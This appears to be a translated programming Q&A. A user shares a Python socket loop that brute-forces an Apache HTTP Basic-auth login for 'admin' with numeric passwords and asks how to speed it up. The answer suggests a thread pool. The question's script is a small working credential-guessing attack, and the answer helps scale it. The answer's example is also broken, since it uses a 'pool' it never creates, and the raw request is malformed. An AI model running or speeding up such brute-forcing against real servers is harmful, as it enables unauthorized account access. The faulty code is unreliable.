1

我希望对 Apache 授权使用快速暴力测试,而不使用 urllib 或套接字 lib 编码。但是,connect() 是一项非常慢的任务(400/m)。

重复使用 connect() 函数时如何提高效率(没有多进程方法;仅在代码级别)?

for num in xrange(1,10000):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip,port))
    s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
    if '200 OK' in(s.recv(32)) :     
        print 'got password !',str(num)
    s.close()
4

1 回答 1

0

您可以使用线程池。查看 multiprocessing.pool.ThreadPool 包。您可以创建一个大小为 N 的池,然后在 for 循环中使用 imap_unordered() 来连接、发送和接收每个线程。

您也可以将 multiprocessing.pool.Pool 用于进程池(相对于线程),但听起来这将是 I/O 绑定的,所以 ThreadPool 会更好,恕我直言。

例如:

from multiprocessing.pool import ThreadPool as Pool
import random
import time

def do_something(x):
    delay = random.randint(1,3)
    time.sleep(delay)
    return x,delay

for i, result in pool.imap_unordered(do_something, range(10)):
    print i, result
于 2013-10-17T19:53:53.640 回答